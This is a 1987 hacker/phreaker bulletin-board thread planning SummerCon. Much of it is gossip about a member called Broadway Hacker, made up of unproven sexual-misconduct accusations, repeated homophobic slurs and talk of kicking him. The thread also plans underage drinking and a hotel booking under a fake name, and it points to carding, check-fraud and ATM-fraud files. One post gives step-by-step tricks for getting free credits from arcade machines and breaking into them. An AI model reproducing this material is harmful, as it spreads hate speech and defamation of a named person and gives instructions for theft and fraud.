I must 'apologize' (for lack of a better word) for my using of Broadway Hacker's name in that post, I feel that it is red, and weak for someone to rag on the ragee‑of‑the‑month, behind their back. I personally have only one thing against him, and that is his bullshit story about a year ago when he to ok Radio Station down, and I believed him like a fool and took my board down and panicked. That just showed me that I can't really trust what he says. In all honesty, he did run a good BBS for a while, you can all give that much credit to him.

Phantom

17/100: Bragging???

Name: Evil Jay 26

Date: 1:19 am Sun May 03, 1987

Somehow I feel some of these comments are directed towards me. Well, hell... I have a good time, why shouldnt I say so? I dont think I brag.. .I uh.

‑J

(lame, lame LAME post...)

18/100: B‑Way

Name: Jester Sluggo 31

Date: 12:13 pm Sun May 03, 1987

If the guy shows up, then he shows up. You can't make plans around him.

As for partying, if you wanna get smashed drunk and make a fool out of yourself, go ahead. I'll drink, but drink moderately (about 6 beers/Hour). As for trading info, or getting busted; DON'T bring anything REAL illegeal. Others have said this, and I hope that nobody blows it for the rest of us.

About the drinking age: as long as you stay in the damn room and drink, and keep somewhat quiet, there should be very little of a problem. For buying booze, I should be able to buy (even though) I'm not old enough, because I'm big enough.. I think TK is a witness to that. Moosehead!

/

\

/ luggo !!

19/100: S‑Con stuff

Name: Knight Lightning 2

Date: 4:13 pm Sun May 03, 1987

Ok ok, Forest Ranger says that until Broadway has actually been proven to be a homosexual that he shall be innocent until proven guilty. In other words well he met Cap N Crax who met Broadway and Cao said he was ok, but I remember many others like Monty Python who met him and told us all about how Broadway just wanted to wrestle him in people's lawns and get him drunk. Will SummerCon finally answer the question?

As I have stated before, DO NOT bring BLUE BOXes or anything else. DO NOT bring a 125 page list of SPC, MCI, MEtro, and TMC codes, DO NOT bring firearms or knives (Scan man will have that part covered), DO NOT bring your mom, DO NOT bring the police, DO bring your toothbrush.

:Knight Lightning

20/100: Broadway Hacker

Name: The Prophet 23

Date: 5:34 pm Sun May 03, 1987

A person by the name of S. K. Ericson once told me that this guy would card airplane tickets for very young hackers to New York to attend the TAP meetings, then refuse to card them the tickets home unless they gave in to his advances... SICKHe offered no proof of his accusations, though.

‑TP

/l

21/100: Hack‑A‑Trip

Name: Knight Lightning 2

Date: 7:10 pm Sun May 03, 1987

Well, he is always inviting people to New York and asking them if they would like to stay at his place. He also likes to get people's addresses and make plans to visit them. BH was also the founder of Hack‑A‑Trip, so this theory could have some tangibility.

:Knight Lightning

22/100: Nametags?

Name: Thomas Covenant 84

Date: 8:37 pm Sun May 03, 1987

Well, I may wear a skating cap that says "urLord", but aside from that, forget about it. I hate walking in into some place and some lady leaps out from behind a pillar and slaps a nametag on my tit saying "Hi! My name is Ian !" That happened to me once, and I used an old Erma Bombeck line: "Now, what shall we name the other one?" And Kip may wear his k00l vanity plate reading 616 HAK.

23/100: Nametags

Name: Knight Lightning 2

Date: 11:06 pm Sun May 03, 1987

Well they are optional of course but remeber you are gonna have a hard enough time trying to learn everyone else's name without having to worry about them forgeting who you are (er whatever). Wear em if you want em.

"Hi...My Name Is Knight Lightning...Unless Your Name Is Scan Man."

Ba

:Knight Lightning

24/100: innocent

Name: Lucifer 666 43

Date: 11:51 pm Sun May 03, 1987

till proven guilty??? so when we find some guy hopefully someone not liked in the middle of the hall with a bloody swelling anus, crying, screaming "all I wanted was a US sprint code... I didnt know he'd do that....sob hes aid sob he would give my an account sob| on the Radio.... well now....fucking russian roulette... who will be the one to be butt‑s macked?

L666

25/100: hahahahah

Name: Phantom Phreaker 46

Date: 1:02 am Mon May 04, 1987

'butt‑smacked' hahahah that was funnny Luke. Oh well, fuck it we(ll see what happens there. I personally don't think there will be any real problems, just a few hostilities between people who have been 'enemies' for a while.

Phantom

26/100: B'way "anus smacker" Hacker

Name: Icarus 15

Date: 2:55 am Mon May 04, 1987

I am saying this, in regret, behind his back. BUT I will also say it to his ugly face. I was on his board and he got my number and would not stop his annoying calls, hours on end (maybe an hour). He wanted to meet me and after bluntly refusing many times, to no avail, I said to myself, "To get this fuck off my back I will meet him somewhere in the city." He never showed up. And stopped calling. But frankly, I believe every negative rumor about him. I am convinced h e is an utter fag of the worst kind. You would too if you heard the kind of shit he was saying. He asked questions his gynecologist wouldn't have the an swers to. (getting a bit crude..) Who was there when he was taking snapshots at the TAP conferences?

Ic.

27/100: More on BH

Name: Evil Jay 26

Date: 4:14 am Mon May 04, 1987

Thats funny you should mention that. Broadway was also pretty insistent that I come up to visit him after the CES and some other shit. He also talked about getting "kicked in the balls" and shaving pubic hair. There is definately something wrong with him. I remember about 3 years ago when some friends of mine used to talk about some "crazy bastard who also talks about getting kicked in the balls"...this must be Broadway. Crax, lets go...

ALONE.

‑Jay

28/100: HAHAHAHA

Name: Slave Driver 58

Date: 10:02 am Mon May 04, 1987

I am on the floor laughing about that. I was at the TAP con telepub and I wil NEVER EVER forget this pear‑shaped man taking out a camera and start snapping pictures. I have never seen dirtier looks in my life. They practically threw him out the window.

It is also true that BWH likes to talk about guys balls and shit on the phone, but Jesus Christ guys, its simplel If he makes a move on you, be at the shit out of him. What is so hard about that?? You all seem so scared of him, like if someone screamed out 'Oh no, its Broadway!!' hundreds would being running out of the hotel...

BWH is about 5‑11 250lbs maybe, ‑all‑ in the gut, ass and hips. He really does look like a pear...

Steve Driver

29/100: also..

Name: Slave Driver 58

Date: 10:07 am Mon May 04, 1987

If you were going there from a long way away, Id be SURE to get a room. Think about it, 30 40, 50, 1000, whatever| teenagers, drinking profusely, with no supervision. 90% wont be able to handle it and will just run around the hotel fucking things up. I had experience with this once and we totally fucked up the hotel. We took apart most of the insides of the elevator, broke all the screens and threw them down 10 floors etc. And this was just a piece of shit hotel. You guys are going to be in a mostly business man type of place. .. and they wont wait 1 sec to complain. All in all I would be VERY careful... I also wouldnt sign my name to the room. At the place I was stay it was a school trip to Six Flags, Great Adventure| staying the school got a bill for $4000 and that damage was done by about 15 people. So whoevers name is on the room registration better watch his ass... I think the person is insane ... especially since most places want a credit card copy to insure against the above...

Steve Driver

30/100: Ba hahahahahahahahah

Name: Knight Lightning 2

Date: 3:10 pm Mon May 04, 1987

Holy shit, I have just flown back and forth across my room laughing so hard after those posts. I remember him asking me some similar questions in the he past and rambling on about his balls etc. I ignored him and "had to go, its time for dinner." "But its 3:45 PM." "Er yeah see I'm late...<click."

:Knight Lightning

31/100: Help

Name: Knight Lightning 2

Date: 3:15 pm Mon May 04, 1987

Can someone please get in touch with Sherlock Holmes on P‑80 or leave me his phone number or something. He is supposed to have some information or article for PWN. Thanks.

:Knight Lightning

32/100: BH

Name: Mad Hatter 51

Date: 3:48 pm Mon May 04, 1987

He does seem to want to talk about balls alot. Jay, he asked me that too (Have you ever been kicked in the balls before?). He also kept on telling me about pranks he pulled(literally) in high school like tieing people nude against lockers and stuff..... Sounds like real fun, eh?

And I'm going to the Con with him? Maybe ahh! we'll see... I like my anal quarter the way it is... We shall see...

‑Hatter

33/100: Say that again...?

Name: Knight Lightning 2

Date: 10:34 pm Mon May 04, 1987

Why are all of these peolle supposedly going with Broadway? I doubt he is even going to show up himself, so don't count on a carpool. Originally he said he was going, but then left me mail on Atlantis saying that he wasn't.

Even if he does go, you want to find out what it feels like to have a 2 50 lbs pear shaped orangatang grab your balls and squeeze?

:Knight Lightning

34/100: Ouch

Name: The Scanner 20

Date: 11:28 pm Mon May 04, 1987

It hurts to even think about it so I wont. Anyways,

Is this convention just for selected poeple from certian boards or can just about any Hacker attend?

Also, what is the name of the hotel and the exact dates this will be going on? _‑The Scanner

35/100: bh & guns

Name: The Mentor 74

Date: 12:27 am Tue May 05, 1987

Nuff said.

36/100: Friends..

Name: Mad Hatter 51

Date: 2:54 pm Tue May 05, 1987

I don't recall specifically who he said, probally some 'friends' of his (or shall I say bedmates?). Well, I'll call him and crossexamine this topic with him.

Gang Bang? Please.........!

‑Hatter

37/100: SummerCon dates

Name: Knight Lightning 2

Date: 5:06 pm Tue May 05, 1987

June 19‑21 (Fri‑Sun), 1987. The Executive International Best Western Hotel (Airport). For all phreakers and hackers that feel so inclined as to attend. Its like an open party.

:Knight Lightning

38/100: Advanced Carding Series

Name: The Disk Jockey 13

Date: 12:33 am Wed May 06, 1987

Most of my advanced carding series and some other fraud files I have written in ARCed and on the AE line. Look for ADVCARD.ARC.

The Disk Jockey

39/100: WELL...

Name: Sir Francis Drake 56

Date: 1:14 am Wed May 06, 1987

AS FOOR ID TAGS, JUST LOOK FOR THE GUY WITH THE NOSE RING...HA, JUST *TR Y* TO

IMPERSONATE THAT.

(OF COURSE IF I DONT GO, 'LOOKING FOR THE GUY WITH THE NOSE RING' COULD BECOME QUITE TEDIOUS)

SFD

40/100: Adv Carding files

Name: Taran King 1

Date: 7:50 pm Wed May 06, 1987

They are now integrated in the anarchy subdirectory (because they're hardly phreak/hack but not really "general"). They include ADVCARD*.TXT, CHECKFRD.TXT, ATMFRAUD.TXT and maybe one or two I forgot, but Jockey can fill you in. Snort the wave...

‑TK

41/100: Anyone

Name: Knight Lightning 2

Date: 12:28 am Thu May 07, 1987

Did anyone ever get in touch with Sherlock Holmes on P‑80?

:Knight Lightning

42/100: well...

Name: Sir Francis Drake 56

Date: 6:07 pm Thu May 07, 1987

Hmm, one thing I found trashing quite awhile ago was a report by Pac‑Bell on problems they were having with their new DMS‑100's...One thing was the "coin problems"...Ill quote the letter as its fairly interesting:

Four coin problems have been discovered with the introduction of the DMS‑100 in Pacific Bell. These are:

1. Applied +48 Volts for Coin Presence Test

2. Coin Return Voltage

3. Paramater ‑ Per call ground loop detection test

4. Overheating of GX18AB cards Real clever name there..(Did ya get the pun?)

+48 Volts associated with coin service is used for Coin Overtime, Coin Presence Tests and Automatic Coin Toll Service (ACTS). +48V is used in ACTS to reset the totalizer so that coin counting can be acomplished. NT has developed a workaround for interfacing to ACTS. Therefore the main problem is the coin presence test. In normal situations, battery is applied to Tip side with the ring side opened. +48V is applied to the ring sing of the line which detects the presence of a coin or no coin. If no ground condition exists, no coin is present. If a coin is stuck (ground condition) a line 112 report will print in the CO.

Without +48V this cannout be done.

In a situation where a customer deposits .20 cents on a call requiring a .50 cent deposit, the .20 cent deposit is not being returned. The TSPS machine, handling all call processing, will instruct the End Office to sent out voltage (Normal +110 Volts for collect and ‑110 for return) that will return the inital deposit. ACTS then resets the totalizer which enables coin counting to begin on the initiation of the required .50 cent deposit. Presently, the DMS is not doing this.

well whatever.

sfd

43/100: well...

Name: Sir Francis Drake 56

Date: 6:08 pm Thu May 07, 1987

Aurgh, so I posted that on the wrong sub. sue me.

And now I compounded my lameness by posting two messages in a row.

Will It ever change? Will I ever become truly ELITE?

sfd

44/100: Hello Floor

Name: Lotus 38

Date: 3:39 am Fri May 08, 1987

I have been away for a while and I would like to also say that after reading all the broadway posts I was on the floor from laughter....

45/100: B‑Way....

Name: The Disk Jockey 13

Date: 6:48 am Fri May 08, 1987

I just wrote a code hacker in Pascal, and it's pretty gay, I'm gonna call it "Broadway Hacker".

The Disk Jockey

46/100: Bah Ha

Name: Knight Lightning 2

Date: 7:54 am Fri May 08, 1987

Who cares about Broadway? He is most likely not going to SummerCon and we don't want him too anyway. Oh yeah, if he does show I heard something to watch out for... If you see a large, fat, pear shaped "person" (describing him as either sex would be insulting) with a bulge in its pants...KICK IT! as hard as you can. Because it mmost likely is going to be a camera or tape recorder and if its not one of those, it means the he is feeling turned on about seeing you and you are seconds away from being sotomized.

:Knight Lightning

47/100: Thanks...

Name: Mad Hatter 51

Date: 2:25 pm Fri May 08, 1987

Thanks KL and I thought you cared. Well, I thought that he was going. He better or I'll UNLEASH THE FULL FORCE! Hehe.. Excuse the similarities... Also, KL, can I have a copy of that term? I need one and I'm a lazy ass... Thanks.....

‑Hatter

48/100: Broadway Fudge‑Packer......

Name: The Disk Jockey 13

Date: 7:25 pm Fri May 08, 1987

Check out his posts on Atlantis.....real gay...somethings REALLY wrong with that dude.

The Disk Jockey

49/100: Term Papers

Name: Knight Lightning 2

Date: 12:16 am Sat May 09, 1987

Should I put em up on ye ole MSP?

Anyway, the fact that something is really wrong or different or strange about Broadway is not a unique idea. I've held it since I met him and especially since he started to talk about his balls. Who cares, so any new developments with people coming to SummerCon?

:Knight Lightning

50/100: well...

Name: Sir Francis Drake 56

Date: 6:12 pm Sat May 09, 1987

I talked to Stan yesterday (not something a wise person admits to on this board but who ever said I was wise) and he is still claiming that he will 'definetly be there'. Id be awfully carefull people...he might beat you up ya know.

ahem

sfd

51/100: Yeah right

Name: Knight Lightning 2

Date: 9:41 am Sun May 10, 1987

As far as I am concerned, Stan has about as much chance of coming to SummerCon as TWCB Inc., to TelePub '86.

:Knight Lightning

52/100: East Coast

Name: Mad Hatter 51

Date: 2:57 pm Sun May 10, 1987

Is anyone on here going to Con '87 that is from the East Coast(Preferably North East)? I would like to know, just in case BH decides not to go. Thanks..

‑Hatter

I just got home from a nice party.. 20 half kegs(genesee), over $300 worth of pot, and a case of JD. Under the circumstances, I naturally felt it upon myself to fuck... So I did... Did you notice how my 'extra' text is longer than my 'actual' post? Well, fuck....

53/100: Story Idea

Name: Knight Lightning 2

Date: 6:46 pm Mon May 11, 1987

I was wondering, would any of you (being a sample of the whole) appreciate seeing a sort of documentery file on the controversy and problems surrounding Phantom Access? It would have a great finish that would sufficently burn one of the greatest geeks in our community.

:Knight Lightning

54/100: BH(again..)

Name: Mad Hatter 51

Date: 6:00 pm Tue May 12, 1987

Just talked to him last night, to find out definitly if he is going, and (according to him at least), you will be meeting me there(in other words, he's going)... He was talking about my girlfriend touching my balls last night... Pleeaaaseee!

‑Hatter

./s

55/100: Tough Call

Name: Knight Lightning 2

Date: 8:18 pm Tue May 12, 1987

Well its hard to second guess Broadway's sincerity about appearing at SummerCon. For the moment, I still hold that I'll believe it when I see it. Still, he did show up (rather rudely) at TelePub '86, but then this took place in New York anyway.

Whats the latest word about Scon from Solid State or OQ? Sfd?

:Knight Lightning

56/100: B.H./Scon

Name: Evil Jay 26

Date: 8:43 am Wed May 13, 1987

Well my patience has worn thin with Broadway. He is practically begging me to call him, so I left him a nasty reply that generally told him to stop "bugging" me (no pun intended). About him going to Summercon, I say...tell him no. After all, you guys have the final say so dont you. If you have any doubts, just read the last posts. Hell, its obvious that he's happy as a fucking lark. And if you still have any qualms, think about it like this :

Would you invite a fagg to YOUR party?

As I said, there are alot more non‑elitist going to the party then you all think. I could count out at least 20 off hand that non of you have probably ever heard of. All I can say is, good luck. If I were you I would print up a big article in Phrack and say its cancelled, then only invite selected people. If you have doubts, just remember this..(DAMN IT, REMEMBER IT),

‑ "Dont say I didnt tell you so" Quote, Evil Jay

‑J

57/100: Well...

Name: Sir Francis Drake 56

Date: 4:27 pm Wed May 13, 1987

Looking through this travel agent trade journal, and it had a list of major conventions in St. Louis during the next 6 months...And guess who will be in St. Louis on the 19th? 30,000 Southern Baptists. Yup its the southern baptist convention, the biggest convention in St. Louis all year.

Its from the 12‑19th. I can allready imagine arriving at the airport to see thousands & thousands of these people getting ready to leave.

should be keenish.

and YES i would invite a gay to a party...

sfd

58/100: C'mon guys

Name: Knight Lightning 2

Date: 5:39 pm Wed May 13, 1987

This is an OPEN party. And as far as a bucnh of no names going, we can use the cash not to mention that this could bring some new future talent into the phreak world. Meeting people and spreading your influence is what life is all about in the phreak world (heh!).

Sfd, you would invite a flamming, homosexual, ball squeezing, ass licking, 250 lbs, faggot to your party? Well you and B0way can share a room.

Mooooohahahahahahahahahaha

:Knight Lightning

59/100: Southern Baptists...

Name: The Mad Hacker 47

Date: 7:18 pm Wed May 13, 1987

I agree with the idea that we should let all people attend no matter what their qualifications show. I mean, if they're assholes, Take some people aside and coduct what business should be more private. Also, I think it would be great if We could get some of the Southern Baptist Women REALLY Medicated and Leave them at the doorstep of the Minister.

Everyone Get Out Your "Disco Sucks, Long Live Rock 'n' Roll" Tee Shirts and Let's Get Weird.. heh.

The Mad Hacker

60/100: D00DZ!

Name: The Disk Jockey 13

Date: 7:52 pm Wed May 13, 1987

I say who the hell cares if a bunch of guys come that are unknowns, I can see your point Jay, but look at what this is, it's not going to be something that we will be able to realistally get anything done at, so I agree that the more money and more people, the better. I would say that 100 people, wasted, would make a better party than 15 wasted people, shit what would we do? Discuss wire centers?

The Disk Jockey

61/100: Good

Name: Knight Lightning 2

Date: 10:48 pm Wed May 13, 1987

I'm glad we are in agreement. You see although all of us StL people are helping to supply dough, we expect to break even or make a small profit for our time, effort, and preliminary investment, not to mention the risks. I really don't car so long as I break even but whatever. The extra cash after that will probably go to alcohol etc.

Oh yeah... and BAIL

:Knight Lightning

62/100: Hehe

Name: Phantom Phreaker 46

Date: 8:59 pm Thu May 14, 1987

Yeah, 100 people, right, that would never be noticed, loud, or out of the ordinary. Still, it would be nice.

Discussing Wire Centers with 15 people with everyone intoxicated would be fun, I think.

Phantom

63/100: Discussions

Name: Knight Lightning 2

Date: 9:27 pm Thu May 14, 1987

Phantom ‑ But aren't you the one who had a discussion about new forms of BOXES at Six Flags Over Mid‑America with about 6 people? (Heh!)

Hey now that I mentioned it, maybe we could all go to Six Flags at S.Con (Idea Idea, Idea, nah never work)

:Knight Lightning

64/100: NONONONON!

Name: <<< Doom Prophet 21 >>>

Date: 4:26 pm Fri May 15, 1987

ARGHHH!! NO NO NO NO NO NO NO NO!!!

Here is what we shall discuss:

First, we shall discuss distortion, static, and its causes in T1 digital cable and in T1 ORBs. Then we shall examine the line and trunk link network, with maps, lectures, and sketches on behalf of all of us. Then it will be a question and anwser session, with Remreeds, Reed Relays, Serving Area Interfaces, F1 layout, interoffice trunk maintenance, toll office reports, and ferrite sticks abounding. Then we will discuss WC's and MDF's and the duties of the MCC in all ESS levels.

Actually, it sounds inttersting to me (just about everything above) but there's a time and place for technical discussion, and also a time for fun. So nyah.

Doomy

November 1986 'I did not autthorize a secret fund to the Contras'

January 1987 'I may have autthorized the shipmentt butt don't remember cause my colon or prostrate got operated on and I was stoned off the medicine'

April 1987‑ 'The tower reports indicate that it was my advisors.'

65/100: well...

Name: Sir Francis Drake 56

Date: 11:22 pm Fri May 15, 1987

May 1987 ‑ 'I donated the money to the contas with the best interests of the nation in mind'

June 1987 ‑ 'There was a small connection between by donations and the contra's promise to keep Nancy's affair with Fawn Hall secret'.

as for the Con, I think we should have a sign:

"DO NOT ENTER ‑ FOR *ELITE* ONLY"

real cool...

sfd

66/100: Summer

Name: Knight Lightning 2

Date: 9:50 am Sat May 16, 1987

We are getting closer and closer to SummerCon folks. I can't wait.

Anyway, I was speaking with Taran aboutg this yesterday, but now I'd like to ask you (the general public). I'm sure you all remember Phrack 13 (the joke isse), I felt that if people wanted to write the files, in times of need (we being low on files for Phrack) we would make a file or two a special feature like Phrack Work News or Phrack Pro‑file, but with anyone contributing or writing it. I was think of datacapturing that stuff on sub 4 or maybe some of the bogus news stories on here for the first file. What do you think? Oh yeah, SFD, the idea you mentioned on the genral board sounds good, do it.

:Knight Lightning

67/100: say we

Name: Lucifer 666 43

Date: 1:52 am Sun May 17, 1987

wanted to go to 6 flags or do some engineering? with 100 or more people it could be hard... maybe there should be public conferences and then small get togethers of the people that we know...

I dont know.....100 people running around and everyone trying to meet everyone...

sounds confusing...

1988 "Well, I told mr. bush that I'd authorize it if he'd only bounce on it for a few more minutes"

L666

68/100: Six Flags

Name: Knight Lightning 2

Date: 11:57 am Sun May 17, 1987

Its a good idea in general, but we just don't have the time. We'd need a whole extra day and thats more moeny for rooms and admition to the park is kinda expensive to. So maybe a few might want to go, but I advise against it.

:Knight Lightning

69/100: Wait.....!

Name: The Disk Jockey 13

Date: 12:37 am Mon May 18, 1987

Why don't we save time by going to Six Flags AND gineering! We could try to engineer the people that work at SF and find out who there boss is, what day they get paid, how much they make, who trained them, etc!

Really though, this is al(the conference) gonna happen on friday and saturday? Well, why don't you throw in the optional "Sunday‑Six‑Flags‑Day" for any of us that really don't feel like leaving? What is the price for that place anymore, about $18? I still think that there should be girls there, 30 or so guys, being wasted, and Broadway, still doesn't cut it with me, I need someone(s) be crude as hell to, and then abuse for a night. Almost as good as as finding a new Cosmos dialup!

‑The Disk Jockey

70/100: Bah!

Name: Evil Jay 26

Date: 2:55 am Tue May 19, 1987

Okay, since no one ever agrees with me, I thought I would explain my self this time around and hopefully make you understand that if alot of people show the show wont go. Im sure alot of you realize what kegs cost and Im sure with all the folks showing up (most of them probably not pitching in much ‑ do they ever?), we are not going to be drinking as much as we like. 100 people in two rooms (not counting Broadway) ‑ how wonderful. What do the people do who cant fit ‑ (idea!) sit in the lobby and wait of course. Where do the people who can no longer stand go when its time for all 100 (in two rooms) people to crash? I couldnt tell you. What happens when the cops come? We run. What happens when Mrs Blow's son ends up in jail ‑ she sues (or at least causes alot of bs), what happens when the cops, finding drunken people in the hallway, stumble across a drunken Taran King. They bust him and get him for many things including Intoxification (minor), Serving Minors (is that a law?), Causing a Publid Disturbance...among other things. What happens when Jay hits the "tank"...he gets 4 years in an Indiana Correctional Institure (Ive always wanted to pick potatoes). I was just thinking of everyone else, mostly TK.

I have been to some pretty big partys, the majority of which were busted. Big partys are big news, and tend to draw attention from the less desirables (mainly cops). Contrary to what many on here have stated, the only place I would invite a faggot is the next Challenger to the stars. Now, Ive said my peice, and of course, as always, someone will disagree, someone will rag or someone will generally be pissed off, hate me for life, "de‑"friend me or whatever. I know, Ive been a real negative, burnt‑out, stupid‑ass...BUT I DONT CARE!!!!1110!!

‑The Big J

71/100: Reply

Name: Taran King 1

Date: 6:15 am Tue May 19, 1987

I think people are overestimating what will occur at SummerCon. I hardly expect 100 people to show up. Shit, even if that many do, a lot of people seem to be getting their own rooms...but for them to toss in like $5‑$10, it shouldn't be a big deal. If the kegs don't work out, we'll just get cases of something (not as good, but still does the trick). As for being busted because too many people show up, only phreak/hacks will be allowed into the room as this is not an opened "party", per say. We will not be too rowdy because we are in these rooms for 2 nights and we cannot afford to be kicked out, therefore, people WILL be quiet (Friday night anyway) and people WILL NOT be wandering around the hotel drunk unless they're in another room which won't affect ours. The rooms will NOT be trashed because we're not positive h ow getting them will go (it will be under a fake name, but if they need ID, we're going to have to use someone's real one probably). I don't know, we'll work it out, but don't expect all of those obnoxious things that usually happen at hotel parties to happen because if we get kicked out, people can't just drive or stumble back home afterwards...

‑TK

72/100: About BIG parties.

Name: Cheap Shades 3

Date: 7:18 pm Tue May 19, 1987

As far as Big hotel parties go it's usually not a question of cops showing up. It's more a question of Hotel Management. As far as that goes, hotel management is usually pretty cool about not kicking partiers out because they still make money off those people (as long as shit ain't getting torn up) and it's bad publicity to kick a bunch of drunk people out of a hotel because they end up driving drunk. Also public intoxacation of a minor is a crime but being in a hotel gets you out of being publically intoxicated. About the kegs, because there's a $25 deposit on kegs and $50 deposit on tappers I seriously doubt that we'd be getting kegs unless we can come up with a large quantity of money ahead of time. (Very unlikely).

Later,

________________

\Cheap/ \Shades/

\___/ \____/

(By the way I've never seen ANYONE carded for buying a keg? I wonder if that'd be easier than finding someone over 21? nah)

73/100: Tapper

Name: Mad Hatter 51

Date: 7:41 pm Tue May 19, 1987

$50 deposit on taps? We buy 'em up here for around $30. Is beer to be the only alcoholic beverage? I not much of a beer drinker. I prefer (naturally) vodka. There was something else but I seemed to have forgot..

Absolut rulezz d00d!!1!

‑Hatter

74/100: Alky

Name: Phantom Phreaker 46

Date: 9:18 pm Tue May 19, 1987

If you ask me (you don't), mentioning the word 'party' or 'beer' or anything like that in the same sentence/post as 'SummerCon' is only yelling to the world that something is going to be goinng on. Now, it would be better if ther would have been nothing mentioned of partying, until we got there. Anyway, I don't think it should be such a party where everyone has to pass out, I'm not for that. Getting nice and fucked up to where you can walk (with difficulty) or getting a really dry mouth is good enough for me.

Phantom

75/100: Partys/Summercon

Name: Evil Jay 26

Date: 10:45 pm Tue May 19, 1987

Yeah, but if we told everyone it was just going to be a gathering of people (damn wordwrap) talking about DMS then no one (or hardly anyone) would show. I think the chick idea is a good one, so it might be nice if some of you locals invited a few long‑legged females to the rooms. As for me, I'll b e looking out for large naked fat men and hopefully trying to have a good time without discussing things like DMS...etc. Look for Part III of Tales of Misadventure Summercon, sometime tommorrow on Phantasie Realm or here on drive H. This one will feature a visit in a shower, a large naked fat man, a casualty list and MUCH MUCH MORE!!!11

‑J

76/100: How About

Name: Cap'N Crax 10

Date: 11:51 pm Tue May 19, 1987

What would be the opinion of a "scams" file for phrack... I've come up with/invented/collected quite a few over the years. Most are not hack/phreak related, nor are they related to carding. They are mostly ways to "beat the system" or sort of "hack" non‑technical things. Anyone interested?

C^2

77/100: Ditto...

Name: The Disk Jockey 13

Date: 7:22 am Wed May 20, 1987

for me, there's lots out there besides carding anymore.....

Oh, and Stoley vodka in the freezer (it wont freeze) is so smooth you can drink it straight, Hatter!

I was an Asst Mgr for a bar for some time, so I can bring mix equipment for the hell of it if anyone wants to get exotic.

Shades is correct about the managers, at an Embassey Suites party I had, we must have had 40 people in a 2 room suites, and we were all pretty wasted, and there were bottle and cans everywhere, and the manager only came up once (we thought we were screwed) to say to "Just keep it in the rooms guys!" He said something that is probably true at most hotels, trooms are somewhat sound proof!

The Disk Jockey

78/100: "SCAMS"!

Name: Ax Murderer 7

Date: 5:36 pm Wed May 20, 1987

Hmmm....Yeah, carding is getting to be a lost age (Don't get me wrong but...) It's getting pretty sad. Unless the editors have some legal objections, I think it would be a pretty cool idea. There is little to stop anyone from finding limits in scams. But try to keep it creative, not your typical ordering a pizza (What a joke.)

Ax Murderer

79/100: well...

Name: Sir Francis Drake 56

Date: 6:31 pm Wed May 20, 1987

d00d, what fun would a party be without getting drunk?

durrrr...I expect some lemonade for me....t‑hee.

(rhyme scheme! another poem..Lemonade And Me)

I think that we should have a seperate sub for the summercon so we dont have this dichotomy (I felt like using that word and I really dont care if I didnt use it quite correctly? ok? ok?) between phrack posts and summercon posts

Seriously folks, the whole drinking question is stupid. If you want to drink, buy it yourself. And dont be dumb about it....("Flipper rules, OK? ...DONT BE STUPID"..good band)

IM going to the con nyah nyah nyah...I got the tickets in my sweaty cum covered hands...so tweet!

sfd

"Quack, said the duck"

80/100: getting kicked out

Name: Lex Luthor 36

Date: 5:41 pm Thu May 21, 1987

A funny story about Phil‑Con the last Big (not nearly as big as Summer‑C on will be) phreak conference.

Tuc and I only knew what hotel it was, no room number and the name it was supposed to be under was not checked in. We saw a photocopied paper saying: "You hold the Keys to Security" with the Pennsylvania Bell logo. Scrawled on the bottom was Phreak‑Con IV. No room number there, but it did prove that they were there, somewhere...

Well we came to the conclusion that the only way to find them was check every room assuming either a door would be open and we would recognize Videosmith and the others, or they would be making enough noise for us to hear. After about the 3rd floor of listening, I was not paying attention and had my ear about 6 inches from a door, listening for phreaks (a smart move, hey we had no other way of finding them ok? ok?) and there was a hotel security guy. Well while I was busy looking like a theif, Tuc saw him, with the eagle eye he has, as the guy was 2 or 3 yards away. Well of course he wondered what I/we were doing. We told him the truth (not a misatake for once) and he checked our ID.

Then we asked if there were any complaints. Well he remarked about about some guys stealing all these hotel phones... A giveaway. We told him thanks and got the room . That was them allright. We spent the remainder of the night being chased by security and hiding phones. (Not really us (me, Tuc, and Videosmith) but the locals) of course it was unavoidable or just plain stupid to just sit and wait to be ejected from the hotel so we departed also.

Anyhow, they were never thrown out just warned many times. And thats it. Just thought I would relay that story for those few people interested.

Lex

81/100: Syndicate Reports

Name: The Sensei 18

Date: 6:57 pm Thu May 21, 1987

I just uploaded all the Syndicate Reports from 9 to 11. All of these I was absent from MSP, and thus unable to upload them. Since Priv.Sector is down, TK couldn't get them anyother way.

For those of you that don't know what the TSR is, check them out on the AE, or Files section...where ever they may be at this time.

Ts

TSR

82/100: speaking of private sector

Name: The Prophet 23

Date: 2:26 pm Fri May 22, 1987

What happened to it?

‑TP

83/100: Scams

Name: Phantom Phreaker 46

Date: 8:56 pm Fri May 22, 1987

(Would you look at the time, Fridaight, girlfriend isn't home, brother has the car so I decided to be a computer geek instead.)

About the scams file, I would like to see some ofthe shit in the vein of Consumertronics, such as ATM information, vending machine ripoffs, video game ripoffs (what the hell?), free power, and the like. When they are intelligently writte and informative then they are interesting to read.

Phantom

84/100: wait...

Name: Lucifer 666 43

Date: 12:54 am Sat May 23, 1987

do you think that it would be good for every kid/nazi with a modem to have the info to pull a scam? the scams would get cancelled hella ok, so I'm not from california, i'm from IL but fuck you I still say it quick.

also, you could just make it a semi‑public file or whatever.

not as public as phrack, but then again dont just make it for you and you pal.

L666

85/100: Video Game Tricks.

Name: Evil Jay 26

Date: 1:45 am Sat May 23, 1987

Because of alarms they now have the machine, use the following catiously.

1) The quarter with the hole drilled in the middle will work on most machines. Its just hard to get the quarter back above the credit pin.

2) There is ALWAYS an extra set of keys to the front or back of the machine, hanging on the inside of the door.

3) The back wood they use (for the back) is like cardboard. It makes a big noise when cracked, but cracked it is ‑ and easily.

4) ROM chips can be sold.

5) The penny up the coin slot still works on older games, like Pac Man. On MIDWAY games justflip the penny in the quarter inch slot up in the coin return. Flip it til it goes up, and hopefully you'll get a credit. On Atari games and similiar (ones with vertical coin slots), hold your finger up inside the coin return slot so the penny wont fall all the way down. Drop a penny in and once it sits there, carefully move it into the next slot on the right (right next to it). Flip it up. Nickels are easier.

Have phun,

‑The BIG J

86/100: well...

Name: Sir Francis Drake 56

Date: 1:57 am Sat May 23, 1987

Ahem. I hate to tell you this L666 but "hella" went out in CA a few years ago...Speaking of which Elric Of Imput up a board and its sorta an IBM ware board oh well but if you want to call it its at (415) 278‑7421. Also, Shooting Shark finaly got his modem back and who know he may even start calling outside the bay area again some day..

sfd

87/100: Atlantis

Name: Taran King 1

Date: 11:28 am Sat May 23, 1987

As many of you may know, Atlantis was down temporarily due to hardware problems but The Lineman just put the board back up so if you're on it, you can now continue calling. If you're not, the number's in the B:BS List on the main menu. Later

‑TK

88/100: Back in Phrack!

Name: Knight Lightning 2

Date: 11:48 pm Sat May 23, 1987

